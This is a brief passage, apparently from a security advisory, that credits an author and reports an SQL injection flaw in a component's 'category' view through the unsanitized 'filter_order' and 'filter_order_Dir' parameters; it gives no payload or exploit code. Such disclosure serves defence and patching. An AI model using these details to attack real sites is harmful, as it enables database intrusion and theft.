Other versions might be affected as well. - Author: Matias Fontanini == Vulnerabilities == When using the "category" view, the component does not correctly sanitize the "filter_order" and "filter_order_Dir" parameters before using them to construct SQL queries, making it vulnerable to SQL Injection attacks.
